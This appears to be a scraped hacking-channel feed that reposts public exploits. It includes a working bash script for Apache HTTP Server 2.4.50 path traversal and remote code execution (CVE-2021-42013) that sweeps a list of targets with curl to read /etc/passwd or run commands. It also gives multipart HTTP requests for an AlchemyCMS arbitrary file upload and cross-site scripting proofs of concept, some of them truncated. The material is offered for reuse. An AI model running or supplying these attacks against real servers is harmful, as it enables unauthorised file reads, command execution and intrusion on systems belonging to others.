Hacking Articles Tips Tricks Videos Tutorials

# Exploit: Apache HTTP Server 2.4.50 - Path Traversal & Remote Code Execution (RCE)
# Date: 10/05/2021
# Exploit Author: Lucas Souza https://lsass.io
# Vendor Homepage:  https://apache.org/
# Version: 2.4.50
# Tested on: 2.4.50
# CVE : CVE-2021-42013
# Credits: Ash Daulton and the cPanel Security Team

#!/bin/bash

if [[ $1 == '' ]]; [[ $2 == '' ]]; then
echo Set [TAGET-LIST.TXT] [PATH] [COMMAND]
echo ./PoC.sh targets.txt /etc/passwd
echo ./PoC.sh targets.txt /bin/sh id

exit
fi
for host in $(cat $1); do
echo $host
curl -s --path-as-is -d "echo Content-Type: text/plain; echo; $3" "$host/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/$2"; done

# PoC.sh targets.txt /etc/passwd
# PoC.sh targets.txt /bin/sh whoami

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Apache HTTP Server 2.4.50 Path Traversal / Code Execution

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

6 viewsedited 16:29

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Alchemy CMS 6.0.0 Arbitrary File Upload

https://2.bp.blogspot.com/-7dI_F0yeiSk/WWlvAqxVj9I/AAAAAAAAIKQ/m4aOGdGGTmo7o3qANzxUijwjE_G1NHOSQCLcBGAs/s1600/h123.png
Alchemy CMS versions 2.x through 6.0.0 suffers from an arbitrary file upload vulnerability.

MD5 | 772227ba1ea679c5bb90f672fd31df27

Download

# Exploit Title: AlchemyCMS 2.x to 6.0.0 - Unrestricted File Upload (authenticated)
# Date: 01/10/2021
# Exploit Author: Abdulrahman https://twitter.com/infosec_90
# Vendor Homepage: https://alchemy-cms.com
# Software Link: https://github.com/AlchemyCMS/alchemy_cms
# Version: from 2.0 to 6.0.0
# Tested on: Linux ruby 2.6.8p205 rails 6

in /app/models/alchemy/attachment.rb line 82 :

def allowed_filetypes
Config.get(:uploader).fetch("allowed_filetypes", {}).fetch("alchemy/attachments", [])
end
end

in /app/views/alchemy/admin/uploader/_button.html.erb in 18

configuration(:uploader)['allowed_filetypes'][object.class.model_name.collection] || ['*'] %>
POC :
POST /admin/attachments HTTP/1.1
------WebKitFormBoundarydAup7dA7ub3Weccp
Content-Disposition: form-data; name="attachment[file]"; filename="anyfile.anyext"
Content-Type: application/octet-stream

anything

------WebKitFormBoundarydAup7dA7ub3Weccp--
OR
id = 8 for old attachment

PATCH /admin/attachments/8 HTTP/1.1
------WebKitFormBoundarylYnqNR9sxMPdw7Si
Content-Disposition: form-data; name="_method"

patch
------WebKitFormBoundarylYnqNR9sxMPdw7Si
Content-Disposition: form-data; name="attachment[file]"; filename="anyfile.anyext"
Content-Type: application/octet-stream

anything
------WebKitFormBoundarylYnqNR9sxMPdw7Si--

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Alchemy CMS 6.0.0 Arbitrary File Upload

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

6 viewsedited 16:29

Hacking Articles Tips Tricks Videos Tutorials

6 views16:29

Hacking Articles Tips Tricks Videos Tutorials

Exploit Collector
myfactory.FMS 7.1-911 Cross Site Scripting

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

myfactory.FMS 7.1-911 Cross Site Scripting

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

6 viewsedited 16:29

Hacking Articles Tips Tricks Videos Tutorials

6 views16:29

Hacking Articles Tips Tricks Videos Tutorials

Exploit Collector
Sonicwall SonicOS 7.0 Host Header Injection

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Sonicwall SonicOS 7.0 Host Header Injection

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

6 viewsedited 16:29

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Lifestyle Store 1.0 Cross Site Scripting

https://1.bp.blogspot.com/-vtYXiq7PjFk/WWlvT3pSItI/AAAAAAAAIN4/S7SZq03xxCsAAYdYEaQwiY4Z64tRJ_WvQCLcBGAs/s1600/h43.png
Lifestyle Store version 1.0 suffers from a cross site scripting vulnerability.

MD5 | d7c8253fafc2f8b1b505290bc4013a98

Download

Lifestyle Store 1.0 Cross Site Scripting

# Exploit Title:  Lifestyle Store  (Online Shop Store) 1.0 - Reflected Cross-Site Scripting (XSS)
# Date: 2021-10-12
# Author: Thamer https://twitter.com/thamer9900
# Software Link: https://download-media.code-projects.org/2021/07/Online_Shop_Store_In_PHP_With_Source_Code.zip
# Version: 1.0.0
# Tested on: Windows 10
1. Description:
The tab parameter in the signup.php is vulnerable to XSS.
2. signup.php in line 62 code:

if(isset($_GET["m2"])){
echo $_GET['m2'];
}

3. Proof of Concept:
/online-shop/signup.php?error=

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Lifestyle Store 1.0 Cross Site Scripting

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

6 viewsedited 16:29

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Logitech Media Server 8.2.0 Cross Site Scripting

https://3.bp.blogspot.com/-DuI_c3FaBwQ/WWlvaHZ97uI/AAAAAAAAIO8/N3071iSnuSkvxUt6NQQ_hoJeYx39DTurQCLcBGAs/s1600/h61.png
Logitech Media Server version 8.2.0 suffers from a cross site scripting vulnerability.

MD5 | 3ae9922542573279c3faa0e7e86540cd

Download

# Exploit Title: Logitech Media Server 8.2.0 - 'Title' Cross-Site Scripting (XSS)
# Shodan Dork: Search Logitech Media Server
# Date: 12.10.2021
# Exploit Author: Mert Das
# Vendor Homepage: www.logitech.com
# Version: 8.2.0
# Tested on: Windows 10, Linux

POC:

1. Go to Settings / Interface tab
2. Add payload to Title section
3. Payload : ">1 
4. Alert will popup